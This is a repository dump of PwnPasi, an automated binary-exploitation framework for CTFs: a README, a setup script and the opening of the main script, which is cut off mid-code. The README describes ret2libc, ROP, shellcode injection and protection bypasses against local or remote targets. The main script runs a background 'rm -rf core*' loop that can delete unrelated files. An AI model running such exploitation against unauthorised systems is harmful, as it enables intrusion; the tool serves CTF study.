├── Challenge ├── pie ├── canary ├── fmtstr1 └── level3_x64 ├── requirements.txt ├── level3_x64_wp(automatically_generating_reports).docx ├── LICENSE ├── README.md ├── setup.py └── pwnpasi.py /Challenge/pie: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/heimao-box/pwnpasi/HEAD/Challenge/pie -------------------------------------------------------------------------------- /Challenge/canary: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/heimao-box/pwnpasi/HEAD/Challenge/canary -------------------------------------------------------------------------------- /Challenge/fmtstr1: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/heimao-box/pwnpasi/HEAD/Challenge/fmtstr1 -------------------------------------------------------------------------------- /Challenge/level3_x64: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/heimao-box/pwnpasi/HEAD/Challenge/level3_x64 -------------------------------------------------------------------------------- /requirements.txt: -------------------------------------------------------------------------------- 1 | pwntools>=4.9.0 2 | LibcSearcher>=1.1.5 3 | ropper>=1.13.5 4 | python-docx>=0.8.11 -------------------------------------------------------------------------------- /level3_x64_wp(automatically_generating_reports).docx: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/heimao-box/pwnpasi/HEAD/level3_x64_wp(automatically_generating_reports).docx -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2025 Ba1_Ma0 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 |
2 | 3 | # 🚀 PwnPasi 3.1 4 | 5 | **Professional Automated Binary Exploitation Framework** 6 | 7 | [![Version](https://img.shields.io/badge/version-3.0-blue.svg)](https://github.com/heimao-box/pwnpasi) 8 | [![Python](https://img.shields.io/badge/python-3.6+-green.svg)](https://www.python.org/) 9 | [![License](https://img.shields.io/badge/license-MIT-red.svg)](LICENSE) 10 | [![Platform](https://img.shields.io/badge/platform-Linux%20%7C%20macOS-lightgrey.svg)](https://github.com/heimao-box/pwnpasi) 11 | 12 | 13 |
14 | 15 | --- 16 | 17 | ## 🎯 What is PwnPasi? 18 | 19 | PwnPasi is a **cutting-edge automated binary exploitation framework** designed for CTF competitions and security research, PwnPasi transforms complex binary exploitation into an automated, streamlined process. 20 | 21 | ### ✨ Key Features 22 | 23 | 🔍 **Smart Vulnerability Detection** 24 | - Automatic stack overflow detection with dynamic padding calculation 25 | - Format string vulnerability identification and exploitation 26 | - Binary protection analysis (RELRO, Stack Canary, NX, PIE) 27 | - Assembly code analysis for vulnerable function detection 28 | - Automatically generating reports 29 | 30 | ⚡ **Advanced Exploitation Techniques** 31 | - **ret2system**: Direct system function calls 32 | - **ret2libc**: ASLR bypass through libc address leaking 33 | - **ROP Chain Construction**: Automated gadget discovery and chaining 34 | - **Syscall Exploitation**: execve system call chains 35 | - **Shellcode Injection**: RWX segment exploitation 36 | - **Stack Canary Bypass**: Format string canary leaking 37 | - **PIE Bypass**: Position Independent Executable circumvention 38 | 39 | 🏗️ **Multi-Architecture Support** 40 | - **x86 (32-bit)**: Complete 32-bit exploitation chains 41 | - **x86_64 (64-bit)**: Full 64-bit exploitation support 42 | - **Auto-detection**: Intelligent architecture recognition 43 | 44 | 🌐 **Flexible Deployment** 45 | - **Local Mode**: Direct binary file exploitation 46 | - **Remote Mode**: Network service targeting 47 | - **Hybrid Approach**: Seamless local-to-remote transition 48 | 49 | --- 50 | 51 | ## 🚀 Quick Start 52 | 53 | ### Installation 54 | 55 | ```bash 56 | # Clone the repository 57 | git clone https://github.com/heimao-box/pwnpasi.git 58 | cd pwnpasi 59 | 60 | # Run the automated setup 61 | python setup.py 62 | ``` 63 | 64 | The setup script will automatically: 65 | - Install system dependencies (Kali/Debian) 66 | - Set up Python packages (pwntools, LibcSearcher, ropper) 67 | - Configure the environment 68 | - Add pwnpasi to system PATH (optional) 69 | 70 | ### Basic Usage 71 | 72 | ```bash 73 | # Analyze local binary 74 | python pwnpasi.py -l ./target_binary 75 | 76 | # Remote exploitation 77 | python pwnpasi.py -l ./binary -ip 192.168.1.100 -p 9999 78 | 79 | # Custom libc and padding 80 | python pwnpasi.py -l ./binary -libc ./libc-2.19.so -f 112 81 | ``` 82 | 83 | --- 84 | 85 | ## 💡 Usage Examples 86 | 87 | ### 🎪 Local Binary Analysis 88 | ```bash 89 | # Comprehensive local analysis 90 | python pwnpasi.py -l ./vuln_binary 91 | ``` 92 | 93 | ### 🌍 Remote Service Exploitation 94 | ```bash 95 | # Target remote CTF service 96 | python pwnpasi.py -l ./local_binary -ip ctf.example.com -p 31337 97 | ``` 98 | 99 | ### 🔧 Advanced Configuration 100 | ```bash 101 | # Specify custom libc and manual padding 102 | python pwnpasi.py -l ./binary -libc /lib/x86_64-linux-gnu/libc.so.6 -f 88 -v 103 | ``` 104 | 105 | --- 106 | 107 | ## 📋 Command Line Options 108 | 109 | | Option | Description | Example | 110 | |--------|-------------|----------| 111 | | `-l, --local` | Target binary file (required) | `-l ./vuln_app` | 112 | | `-ip, --ip` | Remote target IP address | `-ip 192.168.1.100` | 113 | | `-p, --port` | Remote target port | `-p 9999` | 114 | | `-libc, --libc` | Custom libc file path | `-libc ./libc-2.27.so` | 115 | | `-f, --fill` | Manual overflow padding size | `-f 112` | 116 | | `-v, --verbose` | Enable verbose output | `-v` | 117 | 118 | --- 119 | 120 | ## 🛠️ Technical Arsenal 121 | 122 | ### Core Dependencies 123 | - **pwntools** - The ultimate CTF framework 124 | - **LibcSearcher** - Libc database and version detection 125 | - **ropper** - Advanced ROP gadget discovery 126 | - **checksec** - Binary security feature analysis 127 | 128 | ### System Tools Integration 129 | - **objdump** - Assembly analysis and disassembly 130 | - **strings** - String extraction and analysis 131 | - **ldd** - Dynamic library dependency mapping 132 | - **gdb** - Advanced debugging capabilities 133 | 134 | --- 135 | 136 | ## 🎨 Output Preview 137 | 138 | 139 | 140 | https://github.com/user-attachments/assets/1395d646-eeeb-4342-8b93-e05eed282b92 141 | 142 | 143 | 144 | --- 145 | 146 | ## 🏆 Why Choose PwnPasi? 147 | 148 | ### 🎯 **Precision & Automation** 149 | No more manual gadget hunting or address calculation. PwnPasi automates the entire exploitation pipeline with surgical precision. 150 | 151 | ### 🚀 **Speed & Efficiency** 152 | From vulnerability detection to shell acquisition in seconds, not hours. Perfect for time-critical CTF scenarios. 153 | 154 | ### 🧠 **Intelligence & Adaptability** 155 | Smart fallback mechanisms ensure maximum success rate across different binary configurations and protection schemes. 156 | 157 | --- 158 | 159 | ## 🤝 Contributing 160 | 161 | We welcome contributions! Whether it's: 162 | - 🐛 Bug reports and fixes 163 | - ✨ New exploitation techniques 164 | - 📚 Documentation improvements 165 | - 🔧 Performance optimizations 166 | 167 | --- 168 | 169 | ## 📜 License 170 | 171 | This project is licensed under the MIT License - see the [LICENSE](LICENSE) file for details. 172 | 173 | --- 174 | 175 | ## ⚠️ Disclaimer 176 | 177 | PwnPasi is designed for **educational purposes** and **authorized security testing** only. Users are responsible for ensuring compliance with applicable laws and regulations. The developers assume no liability for misuse of this tool. 178 | 179 | --- 180 | 181 |
182 | 183 | **Made with ❤️ by Ba1_Ma0** 184 | 185 | *Star ⭐ this repo if PwnPasi helped you pwn some binaries!* 186 | 187 |
188 | -------------------------------------------------------------------------------- /setup.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | import os 3 | import sys 4 | import time 5 | import subprocess 6 | from setuptools import setup, find_packages 7 | 8 | # 科技化颜色方案 9 | class Colors: 10 | CYAN = '\033[96m' 11 | GREEN = '\033[92m' 12 | YELLOW = '\033[93m' 13 | RED = '\033[91m' 14 | BLUE = '\033[94m' 15 | MAGENTA = '\033[95m' 16 | WHITE = '\033[97m' 17 | BOLD = '\033[1m' 18 | DIM = '\033[2m' 19 | END = '\033[0m' 20 | BLINK = '\033[5m' 21 | 22 | def print_banner(): 23 | banner = f"""{Colors.CYAN}{Colors.BOLD} 24 | ██████╗ ██╗ ██╗███╗ ██╗██████╗ █████╗ ███████╗██╗ 25 | ██╔══██╗██║ ██║████╗ ██║██╔══██╗██╔══██╗██╔════╝██║ 26 | ██████╔╝██║ █╗ ██║██╔██╗ ██║██████╔╝███████║███████╗██║ 27 | ██╔═══╝ ██║███╗██║██║╚██╗██║██╔═══╝ ██╔══██║╚════██║██║ 28 | ██║ ╚███╔███╔╝██║ ╚████║██║ ██║ ██║███████║██║ 29 | ╚═╝ ╚══╝╚══╝ ╚═╝ ╚═══╝╚═╝ ╚═╝ ╚═╝╚══════╝╚═╝ 30 | {Colors.END} 31 | {Colors.MAGENTA} ╔══════════════════════════════════════════════════════╗ 32 | ║ {Colors.WHITE}{Colors.BOLD}ADVANCED PWN EXPLOITATION FRAMEWORK{Colors.END}{Colors.MAGENTA} ║ 33 | ║ {Colors.YELLOW}Setup & Installation{Colors.END}{Colors.MAGENTA} ║ 34 | ╚══════════════════════════════════════════════════════╝{Colors.END} 35 | """ 36 | print(banner) 37 | time.sleep(0.5) 38 | 39 | def print_progress_bar(current, total, task_name, width=50): 40 | progress = current / total 41 | filled = int(width * progress) 42 | bar = '█' * filled + '░' * (width - filled) 43 | percentage = int(progress * 100) 44 | print(f"\r{Colors.CYAN}[{Colors.YELLOW}◉{Colors.CYAN}]{Colors.END} {task_name}: {Colors.MAGENTA}[{bar}]{Colors.END} {Colors.BOLD}{percentage}%{Colors.END}", end='', flush=True) 45 | if current == total: 46 | print(f" {Colors.GREEN}✓{Colors.END}") 47 | 48 | def print_status(status_type, message): 49 | icons = { 50 | 'info': f'{Colors.CYAN}[{Colors.WHITE}◉{Colors.CYAN}]{Colors.END}', 51 | 'success': f'{Colors.GREEN}[{Colors.WHITE}✓{Colors.GREEN}]{Colors.END}', 52 | 'warning': f'{Colors.YELLOW}[{Colors.WHITE}⚠{Colors.YELLOW}]{Colors.END}', 53 | 'error': f'{Colors.RED}[{Colors.WHITE}✗{Colors.RED}]{Colors.END}', 54 | 'process': f'{Colors.MAGENTA}[{Colors.WHITE}⟳{Colors.MAGENTA}]{Colors.END}' 55 | } 56 | timestamp = time.strftime('%H:%M:%S') 57 | print(f"{icons[status_type]} {Colors.DIM}[{timestamp}]{Colors.END} {message}") 58 | 59 | def run_command(command, error_message): 60 | try: 61 | result = subprocess.run(command, check=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True) 62 | return result 63 | except subprocess.CalledProcessError as e: 64 | print_status('error', f"{error_message}") 65 | print(f" {Colors.RED}└─ {e.stderr.strip()}{Colors.END}") 66 | sys.exit(1) 67 | 68 | def install_system_dependencies(): 69 | dependencies = [ 70 | # Add system dependencies here if needed 71 | ] 72 | 73 | if not dependencies: 74 | print_status('info', f"No system dependencies required") 75 | return 76 | 77 | print_status('process', f"Updating package repositories...") 78 | for i in range(1, 4): 79 | print_progress_bar(i, 3, "Repository sync", 40) 80 | time.sleep(0.3) 81 | 82 | run_command(['sudo', 'apt', 'update'], "Failed to update package list") 83 | print_status('success', "Package repositories updated") 84 | 85 | for i, (pkg, desc) in enumerate(dependencies, 1): 86 | print_status('process', f"Installing {desc} ({pkg})...") 87 | for j in range(1, 6): 88 | print_progress_bar(j, 5, f"Installing {pkg}", 35) 89 | time.sleep(0.2) 90 | run_command(['sudo', 'apt', 'install', '-y', pkg], f"Failed to install {pkg}") 91 | print_status('success', f"{desc} installed successfully") 92 | 93 | def install_system_packages_for_pwntools(): 94 | """Install system packages required for pwntools on Kali/Debian""" 95 | kali_packages = [ 96 | ('python3-dev', 'Python development headers'), 97 | ('python3-pip', 'Python package installer'), 98 | ('build-essential', 'Build tools'), 99 | ('libssl-dev', 'SSL development libraries'), 100 | ('libffi-dev', 'FFI development libraries'), 101 | ('python3-setuptools', 'Python setuptools'), 102 | ('libc6-dev', 'C library development files'), 103 | ('gcc', 'GNU Compiler Collection') 104 | ] 105 | 106 | print_status('process', "Installing system packages for pwntools...") 107 | 108 | # Update package list first 109 | try: 110 | subprocess.run(['sudo', 'apt', 'update'], check=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE) 111 | print_status('success', "Package list updated") 112 | except subprocess.CalledProcessError: 113 | print_status('warning', "Failed to update package list, continuing...") 114 | 115 | for pkg, desc in kali_packages: 116 | try: 117 | print_status('info', f"Installing {desc}...") 118 | subprocess.run(['sudo', 'apt', 'install', '-y', pkg], 119 | check=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE) 120 | print_status('success', f"{desc} installed") 121 | except subprocess.CalledProcessError: 122 | print_status('warning', f"Failed to install {pkg}, may already be installed") 123 | 124 | def install_python_dependencies(): 125 | python_deps = [ 126 | ('pwntools>=4.9.0', 'PWN exploitation toolkit'), 127 | ('LibcSearcher>=1.1.5', 'Libc database searcher'), 128 | ('ropper>=1.13.5', 'ROP gadget finder') 129 | ] 130 | 131 | print_status('process', "Installing Python dependencies...") 132 | 133 | # Check if we're on Kali/Debian and install system packages first 134 | if os.path.exists('/etc/debian_version'): 135 | print_status('info', "Detected Debian/Kali system, installing system dependencies...") 136 | install_system_packages_for_pwntools() 137 | 138 | for i, (pkg, desc) in enumerate(python_deps, 1): 139 | print_status('info', f"Installing {desc}...") 140 | for j in range(1, 6): 141 | print_progress_bar(j, 5, f"Installing {pkg.split('>=')[0]}", 35) 142 | time.sleep(0.2) 143 | 144 | # Try multiple installation methods 145 | success = False 146 | 147 | # Method 1: Regular pip install 148 | try: 149 | subprocess.run([sys.executable, '-m', 'pip', 'install', pkg], 150 | check=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE) 151 | print_status('success', f"{desc} installed successfully") 152 | success = True 153 | except subprocess.CalledProcessError as e: 154 | print_status('warning', f"Standard pip install failed for {pkg}") 155 | 156 | # Method 2: Try with --user flag 157 | if not success: 158 | try: 159 | subprocess.run([sys.executable, '-m', 'pip', 'install', '--user', pkg], 160 | check=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE) 161 | print_status('success', f"{desc} installed successfully (user mode)") 162 | success = True 163 | except subprocess.CalledProcessError: 164 | print_status('warning', f"User pip install failed for {pkg}") 165 | 166 | # Method 3: Try with --break-system-packages (for newer pip versions) 167 | if not success: 168 | try: 169 | subprocess.run([sys.executable, '-m', 'pip', 'install', '--break-system-packages', pkg], 170 | check=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE) 171 | print_status('success', f"{desc} installed successfully (system override)") 172 | success = True 173 | except subprocess.CalledProcessError: 174 | print_status('warning', f"System override pip install failed for {pkg}") 175 | 176 | # Method 4: Try apt install for pwntools on Kali 177 | if not success and pkg.startswith('pwntools') and os.path.exists('/etc/debian_version'): 178 | try: 179 | subprocess.run(['sudo', 'apt', 'install', '-y', 'python3-pwntools'], 180 | check=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE) 181 | print_status('success', f"{desc} installed via apt") 182 | success = True 183 | except subprocess.CalledProcessError: 184 | print_status('warning', f"APT install failed for pwntools") 185 | 186 | if not success: 187 | print_status('error', f"All installation methods failed for {pkg}") 188 | print_status('info', f"Please manually install {pkg} using:") 189 | print(f" {Colors.YELLOW}sudo apt install python3-dev build-essential{Colors.END}") 190 | print(f" {Colors.YELLOW}pip3 install {pkg}{Colors.END}") 191 | # Don't exit, continue with other packages 192 | continue 193 | 194 | def main(): 195 | print_banner() 196 | 197 | print_status('info', f"Initializing PWNPASI setup environment...") 198 | time.sleep(0.5) 199 | 200 | if os.name == 'posix' and os.geteuid() != 0: 201 | print_status('warning', "System package installation may require sudo privileges") 202 | print_status('info', "You may be prompted for your password") 203 | print() 204 | 205 | # System dependencies 206 | print(f"\n{Colors.BOLD}{Colors.BLUE}╔═══════════════════════════════════════╗{Colors.END}") 207 | print(f"{Colors.BOLD}{Colors.BLUE}║{Colors.END} {Colors.CYAN}SYSTEM DEPENDENCIES PHASE{Colors.END} {Colors.BOLD}{Colors.BLUE}║{Colors.END}") 208 | print(f"{Colors.BOLD}{Colors.BLUE}╚═══════════════════════════════════════╝{Colors.END}") 209 | install_system_dependencies() 210 | 211 | # Python dependencies 212 | print(f"\n{Colors.BOLD}{Colors.BLUE}╔═══════════════════════════════════════╗{Colors.END}") 213 | print(f"{Colors.BOLD}{Colors.BLUE}║{Colors.END} {Colors.CYAN}PYTHON DEPENDENCIES PHASE{Colors.END} {Colors.BOLD}{Colors.BLUE}║{Colors.END}") 214 | print(f"{Colors.BOLD}{Colors.BLUE}╚═══════════════════════════════════════╝{Colors.END}") 215 | install_python_dependencies() 216 | 217 | # Completion 218 | print(f"\n{Colors.BOLD}{Colors.GREEN}╔═══════════════════════════════════════╗{Colors.END}") 219 | print(f"{Colors.BOLD}{Colors.GREEN}║{Colors.END} {Colors.WHITE}INSTALLATION COMPLETE{Colors.END} {Colors.BOLD}{Colors.GREEN}║{Colors.END}") 220 | print(f"{Colors.BOLD}{Colors.GREEN}╚═══════════════════════════════════════╝{Colors.END}") 221 | 222 | print_status('success', f"PWNPASI framework successfully installed!") 223 | print_status('info', f"Ready for advanced PWN exploitation") 224 | print(f"\n{Colors.CYAN} Usage: {Colors.WHITE}python pwnpasi.py -l {Colors.END}") 225 | print(f"{Colors.CYAN} Help: {Colors.WHITE}python pwnpasi.py --help{Colors.END}\n") 226 | 227 | def setup_system_command(): 228 | """Setup pwnpasi as a system command""" 229 | import shutil 230 | import stat 231 | 232 | # Get current script path 233 | current_dir = os.path.dirname(os.path.abspath(__file__)) 234 | pwnpasi_script = os.path.join(current_dir, 'pwnpasi.py') 235 | 236 | # Determine system bin directory 237 | if os.name == 'posix': # Linux/macOS 238 | bin_dirs = ['/usr/local/bin', '/usr/bin'] 239 | target_name = 'pwnpasi' 240 | else: # Windows 241 | # For Windows, we'll add to Python Scripts directory 242 | import sys 243 | scripts_dir = os.path.join(os.path.dirname(sys.executable), 'Scripts') 244 | bin_dirs = [scripts_dir] if os.path.exists(scripts_dir) else [] 245 | target_name = 'pwnpasi.py' 246 | 247 | # Find writable bin directory 248 | target_dir = None 249 | for bin_dir in bin_dirs: 250 | if os.path.exists(bin_dir) and os.access(bin_dir, os.W_OK): 251 | target_dir = bin_dir 252 | break 253 | 254 | if not target_dir: 255 | print_status('warning', "No writable system directory found, trying with sudo...") 256 | target_dir = bin_dirs[0] if bin_dirs else '/usr/local/bin' 257 | 258 | target_path = os.path.join(target_dir, target_name) 259 | 260 | try: 261 | # Copy script to system directory 262 | print_status('process', f"Installing pwnpasi to {target_path}...") 263 | 264 | if os.name == 'posix': 265 | # For Linux/macOS, create a wrapper script 266 | wrapper_content = f"#!/usr/bin/env python3\n# PWNPASI System Command Wrapper\nimport sys\nimport os\nsys.path.insert(0, '{current_dir}')\nfrom pwnpasi import main\nif __name__ == '__main__':\n main()\n" 267 | 268 | # Try to write directly first 269 | try: 270 | with open(target_path, 'w') as f: 271 | f.write(wrapper_content) 272 | os.chmod(target_path, stat.S_IRWXU | stat.S_IRGRP | stat.S_IXGRP | stat.S_IROTH | stat.S_IXOTH) 273 | except PermissionError: 274 | # Use sudo if needed 275 | import tempfile 276 | with tempfile.NamedTemporaryFile(mode='w', delete=False, suffix='.py') as tmp: 277 | tmp.write(wrapper_content) 278 | tmp_path = tmp.name 279 | 280 | run_command(['sudo', 'cp', tmp_path, target_path], f"Failed to install to {target_path}") 281 | run_command(['sudo', 'chmod', '+x', target_path], f"Failed to set permissions for {target_path}") 282 | os.unlink(tmp_path) 283 | else: 284 | # For Windows, copy the script directly 285 | shutil.copy2(pwnpasi_script, target_path) 286 | 287 | print_status('success', f"PWNPASI installed as system command: {target_name}") 288 | print_status('info', f"You can now run 'pwnpasi' from anywhere in the terminal") 289 | 290 | # Add to PATH if needed (Windows) 291 | if os.name == 'nt' and target_dir not in os.environ.get('PATH', '').split(os.pathsep): 292 | print_status('info', f"Add {target_dir} to your PATH environment variable for global access") 293 | 294 | except Exception as e: 295 | print_status('error', f"Failed to install system command: {str(e)}") 296 | print_status('info', "You can still run pwnpasi using: python pwnpasi.py") 297 | 298 | if __name__ == '__main__': 299 | main() 300 | 301 | # Ask user if they want to install as system command 302 | print(f"\n{Colors.CYAN}╔═══════════════════════════════════════╗{Colors.END}") 303 | print(f"{Colors.CYAN}║{Colors.END} {Colors.YELLOW}SYSTEM COMMAND SETUP{Colors.END} {Colors.CYAN}║{Colors.END}") 304 | print(f"{Colors.CYAN}╚═══════════════════════════════════════╝{Colors.END}") 305 | 306 | response = input(f"{Colors.CYAN}[◉]{Colors.END} Install pwnpasi as system command? (y/N): ").strip().lower() 307 | if response in ['y', 'yes']: 308 | setup_system_command() 309 | else: 310 | print_status('info', "Skipped system command installation") 311 | print_status('info', "Run 'python setup.py' again and choose 'y' to install later") 312 | else: 313 | setup( 314 | name="pwnpasi", 315 | version="3.0.0", 316 | description="Advanced PWN Exploitation Framework", 317 | author="Ba1_Ma0", 318 | packages=find_packages(), 319 | install_requires=[ 320 | 'pwntools>=4.9.0', 321 | 'LibcSearcher>=1.1.5', 322 | 'ropper>=1.13.5' 323 | ], 324 | python_requires='>=3.8', 325 | entry_points={ 326 | 'console_scripts': [ 327 | 'pwnpasi=pwnpasi:main', 328 | ], 329 | }, 330 | scripts=['pwnpasi.py'], 331 | ) -------------------------------------------------------------------------------- /pwnpasi.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # -*- coding: utf-8 -*- 3 | 4 | from pwn import * 5 | from LibcSearcher import * 6 | import argparse 7 | import sys 8 | import os 9 | import re 10 | import subprocess 11 | import time 12 | import datetime 13 | import threading 14 | from elftools.elf.elffile import ELFFile 15 | from elftools.elf.sections import SymbolTableSection 16 | from docx import Document 17 | from docx.shared import Inches 18 | from docx.enum.text import WD_ALIGN_PARAGRAPH 19 | 20 | # Disable core dump files (Unix/Linux only) 21 | try: 22 | import resource 23 | resource.setrlimit(resource.RLIMIT_CORE, (0, 0)) 24 | except: 25 | pass 26 | 27 | # Configure pwntools to prevent core dumps 28 | context.log_level = 'error' 29 | context.terminal = ['bash', '-c'] 30 | try: 31 | # Additional core dump prevention 32 | os.system('ulimit -c 0 2>/dev/null || true') 33 | except: 34 | pass 35 | 36 | # Core file cleanup thread 37 | def cleanup_core_files(): 38 | """Background thread to continuously remove core files""" 39 | while True: 40 | try: 41 | # Remove core files in current directory 42 | os.system('rm -rf core* 2>/dev/null || del core* 2>nul || true') 43 | time.sleep(1) # Check every second 44 | except: 45 | pass 46 | 47 | # Start core cleanup thread 48 | cleanup_thread = threading.Thread(target=cleanup_core_files, daemon=True) 49 | cleanup_thread.start() 50 | 51 | # Global configuration 52 | VERSION = "3.1" 53 | AUTHOR = "Security Research Team" 54 | GITHUB = "https://github.com/heimao-box/pwnpasi" 55 | 56 | # Global variables for exploit information 57 | exploit_info = { 58 | 'target_binary': '', 59 | 'exploit_type': '', 60 | 'payload': '', 61 | 'padding': 0, 62 | 'addresses': {}, 63 | 'vulnerability_type': '', 64 | 'architecture': '', 65 | 'success': False, 66 | 'timestamp': '' 67 | } 68 | 69 | # Color schemes (similar to sqlmap) 70 | class Colors: 71 | HEADER = '\033[95m' 72 | BLUE = '\033[94m' 73 | CYAN = '\033[96m' 74 | GREEN = '\033[92m' 75 | YELLOW = '\033[93m' 76 | RED = '\033[91m' 77 | BOLD = '\033[1m' 78 | UNDERLINE = '\033[4m' 79 | END = '\033[0m' 80 | 81 | # Sqlmap-style colors 82 | INFO = '\033[1;34m' # Blue bold 83 | SUCCESS = '\033[1;32m' # Green bold 84 | WARNING = '\033[1;33m' # Yellow bold 85 | ERROR = '\033[1;31m' # Red bold 86 | CRITICAL = '\033[1;35m' # Magenta bold 87 | PAYLOAD = '\033[1;36m' # Cyan bold 88 | 89 | def print_banner(): 90 | banner = f""" 91 | {Colors.BOLD}{Colors.BLUE} 92 | ____ ____ _ 93 | | _ \ __ ___ _| _ \ __ _ ___(_) 94 | | |_) |\ \ /\ / / '_ \ |_) / _` / __| | 95 | | __/ \ V V /| | | | __/ (_| \__ \ | 96 | |_| \_/\_/ |_| |_|_| \__,_|___/_| 97 | {Colors.END} 98 | {Colors.BOLD} Automated Binary Exploitation Framework v{VERSION}{Colors.END} 99 | {Colors.CYAN} by {AUTHOR}{Colors.END} 100 | {Colors.UNDERLINE} {GITHUB}{Colors.END} 101 | """ 102 | print(banner) 103 | 104 | def print_info(message, prefix="[*]"): 105 | """Print info message with sqlmap-style formatting""" 106 | timestamp = datetime.datetime.now().strftime("%H:%M:%S") 107 | print(f"{Colors.INFO}{prefix}{Colors.END} {Colors.BOLD}[{timestamp}]{Colors.END} {message}") 108 | 109 | def print_success(message, prefix="[+]"): 110 | """Print success message""" 111 | timestamp = datetime.datetime.now().strftime("%H:%M:%S") 112 | print(f"{Colors.SUCCESS}{prefix}{Colors.END} {Colors.BOLD}[{timestamp}]{Colors.END} {message}") 113 | 114 | def print_warning(message, prefix="[!]"): 115 | """Print warning message""" 116 | timestamp = datetime.datetime.now().strftime("%H:%M:%S") 117 | print(f"{Colors.WARNING}{prefix}{Colors.END} {Colors.BOLD}[{timestamp}]{Colors.END} {message}") 118 | 119 | def print_error(message, prefix="[-]"): 120 | """Print error message""" 121 | timestamp = datetime.datetime.now().strftime("%H:%M:%S") 122 | print(f"{Colors.ERROR}{prefix}{Colors.END} {Colors.BOLD}[{timestamp}]{Colors.END} {message}") 123 | 124 | def print_critical(message, prefix="[CRITICAL]"): 125 | """Print critical message""" 126 | timestamp = datetime.datetime.now().strftime("%H:%M:%S") 127 | print(f"{Colors.CRITICAL}{prefix}{Colors.END} {Colors.BOLD}[{timestamp}]{Colors.END} {message}") 128 | 129 | def print_payload(message, prefix="[PAYLOAD]"): 130 | """Print payload information""" 131 | timestamp = datetime.datetime.now().strftime("%H:%M:%S") 132 | print(f"{Colors.PAYLOAD}{prefix}{Colors.END} {Colors.BOLD}[{timestamp}]{Colors.END} {message}") 133 | 134 | def print_section_header(title): 135 | """Print section header with decorative lines""" 136 | line = "─" * 60 137 | print(f"\n{Colors.BOLD}{Colors.BLUE}┌{line}┐{Colors.END}") 138 | print(f"{Colors.BOLD}{Colors.BLUE}│{Colors.END} {Colors.BOLD}{title.center(58)}{Colors.END} {Colors.BOLD}{Colors.BLUE}│{Colors.END}") 139 | print(f"{Colors.BOLD}{Colors.BLUE}└{line}┘{Colors.END}") 140 | 141 | def print_progress(current, total, task_name): 142 | """Print progress bar similar to sqlmap""" 143 | percentage = int((current / total) * 100) 144 | bar_length = 30 145 | filled_length = int(bar_length * current // total) 146 | bar = '█' * filled_length + '░' * (bar_length - filled_length) 147 | print(f"\r{Colors.INFO}[*]{Colors.END} {task_name}: {Colors.CYAN}[{bar}]{Colors.END} {percentage}%", end='', flush=True) 148 | if current == total: 149 | print_info("") # New line when complete 150 | 151 | def print_table_header(headers): 152 | """Print table header""" 153 | header_line = " | ".join([f"{h:^15}" for h in headers]) 154 | separator = "-" * len(header_line) 155 | print(f"{Colors.BOLD}{header_line}{Colors.END}") 156 | print(separator) 157 | 158 | def print_table_row(values, colors=None): 159 | """Print table row with optional colors""" 160 | if colors is None: 161 | colors = [Colors.END] * len(values) 162 | 163 | formatted_values = [] 164 | for i, (value, color) in enumerate(zip(values, colors)): 165 | formatted_values.append(f"{color}{str(value):^15}{Colors.END}") 166 | 167 | row_line = " | ".join(formatted_values) 168 | print(row_line) 169 | 170 | def update_exploit_info(key, value): 171 | """Update global exploit information""" 172 | global exploit_info 173 | exploit_info[key] = value 174 | 175 | def generate_exploitation_code(): 176 | """Generate complete exploitation code based on exploit type and information""" 177 | global exploit_info 178 | 179 | # Extract target binary name 180 | target_name = os.path.basename(exploit_info['target_binary']) 181 | if target_name.startswith('./'): 182 | target_name = target_name[2:] 183 | 184 | # Base template for exploitation code 185 | base_code = f"""#!/usr/bin/env python3 186 | # -*- coding: utf-8 -*- 187 | # PWN Exploitation Script 188 | # Target: {exploit_info['target_binary']} 189 | # Exploit Type: {exploit_info['exploit_type']} 190 | # Architecture: {exploit_info['architecture']} 191 | # Vulnerability: {exploit_info['vulnerability_type']} 192 | 193 | from pwn import * 194 | 195 | # Target configuration 196 | target = '{target_name}' 197 | context.arch = '{exploit_info['architecture']}' 198 | context.log_level = 'debug' 199 | 200 | # Connect to target 201 | io = process(target) 202 | # For remote: io = remote('host', port) 203 | 204 | """ 205 | 206 | # Add addresses information as variables 207 | if exploit_info['addresses']: 208 | base_code += "# Key addresses\n" 209 | for addr_type, addr_value in exploit_info['addresses'].items(): 210 | if isinstance(addr_value, int): 211 | base_code += f"{addr_type} = 0x{addr_value:x}\n" 212 | elif isinstance(addr_value, str) and addr_value.startswith('0x'): 213 | base_code += f"{addr_type} = {addr_value}\n" 214 | else: 215 | try: 216 | base_code += f"{addr_type} = 0x{int(str(addr_value)):x}\n" 217 | except: 218 | base_code += f"{addr_type} = 